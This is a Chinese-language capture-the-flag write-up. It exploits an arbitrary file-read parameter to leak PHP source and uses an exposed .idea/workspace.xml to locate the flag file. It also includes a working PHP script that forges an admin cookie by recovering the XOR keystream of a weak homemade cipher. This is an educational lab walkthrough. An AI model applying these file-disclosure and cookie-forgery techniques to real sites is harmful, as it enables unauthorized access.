=============================
个人收获:
1.phpstorm创建的文件会自动穿件idea,里面的workspace.xml会保存目录结构
2.URL文件包含要多注意
=============================
题目:
刚开始以为是隐写,保存到本地打开看没有什么奇怪的地方,打开源码也很正常
但是URL的连接引起我的注意,我尝试打开flag.php,然后发现不存在
就扫下目录出现
直接打开config.php发现是空白,用jpg=config.php也是什么都没有
我就直接包含下index.php,看看首页的源代码
我们把内容拿去解密
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
代码主要是读取参数jpg的值然后得到对应的文件内容并进行编码输出,这里面有2段过滤代码
第一段主要是将除了数字字母以外的字符删除 正则各种符号解释
第二段主要是将参数里面的config替换成_
然后最关键的点就是 Created by PhpStorm.这段文章, 因为由phpstorm创建的文件目录下面自动生成一个workspace.xml 里面包含了网站文件的结构各种信息
我们访问下 http://919887305be54514900b420bce7e6886ad709a68346740a5.game.ichunqiu.com/.idea/workspace.xml
这个应该就是flag所在的文件了,我们访问下
发现什么都没有
因为index.php里面的这段
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
会把_这个过滤掉就变成了fl3gichuqiu.php
但是下一行里面会把config变成_
$file = str_replace("config","_", $file);
所有我们要把_用config替换
然后我们拿去解密下
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?
下面代码的审计摘自:https://blog.csdn.net/qq_40980391/article/details/81479999
1)将用户的cookie,和变量key传入decrypt这个函数,看一下这个函数的作用
将传入的文本进行base64解码,赋给变量txt
将base64编码后的文本的前4位赋给变量rnd
将变量4位以后的内容赋给变量txt
将得到的变量rnd和传入的变量key进行md5加密,然后赋值给变量key
令变量s的值为0
对新txt的内容进行如下操作:
将内容以32个字节为度进行划分
txt内容与key相应位置进行异或运算,然后拼接,最终赋值给变量tmp
将tmp变量的每个字节转化为ascii,-10,再转为字符然后拼接,赋值给变量tmp1
最终返回tmp1
2)将传回的值赋值给变量username
3)如果变量username=system,则输出flag
4)否则,先将guest和变量key传入encrypt这个函数,看一下这个函数的作用
首先将传入的文本内容转为ascii然后+10,再转为字符,将加密后的文本赋值给tmp变量
将变量tmp的值赋给变量txt
变量rnd=随机输出的4个数
将得到的变量rnd和传入的变量key进行md5加密,然后赋值给变量key
令变量s的值为0
对新txt的内容进行如下操作:
将内容以32个字节为度进行划分
txt内容与key相应位置进行异或运算,然后拼接,最终赋值给变量ttmp
最后把rnd和ttmp拼接,返回base64加密后的内容
所以说,我们现在是需要得到变量key和变量rnd,如何得到呢,可以通过guest得到
我们根据他的加密方式 写出php来进行爆破
<?php
$txt1 = 'guest';
for ($i = 0; $i < strlen($txt1); $i++) {
$txt1[$i] = chr(ord($txt1[$i])+10);
}
$cookie_guest = 'emVTQkZHCh8d';
$cookie_guest = base64_decode($cookie_guest);
$rnd = substr($cookie_guest,0,4);
$ttmp = substr($cookie_guest,4);
$key='';
for ($i = 0; $i < strlen($txt1); $i++) {
$key .= ($txt1[$i] ^ $ttmp[$i]);//$key=md5($rnd.$key);
}
$txt2 = 'system';
for ($i = 0; $i < strlen($txt2); $i++) {
$txt2[$i] = chr(ord($txt2[$i])+10);
}
$md5 = '0123456789abcdef';
for ($i = 0; $i < strlen($md5); $i++) {
$key_new = $key.$md5[$i];
$cookie_system='';
for ($j = 0; $j < strlen($txt2); $j++) {
$cookie_system .= ($key_new[$j] ^ $txt2[$j]);
}
$cookie_system = base64_encode($rnd.$cookie_system);
echo $cookie_system."</br>";
}
?>
里面的cookie_guest填自己的
一个个爆破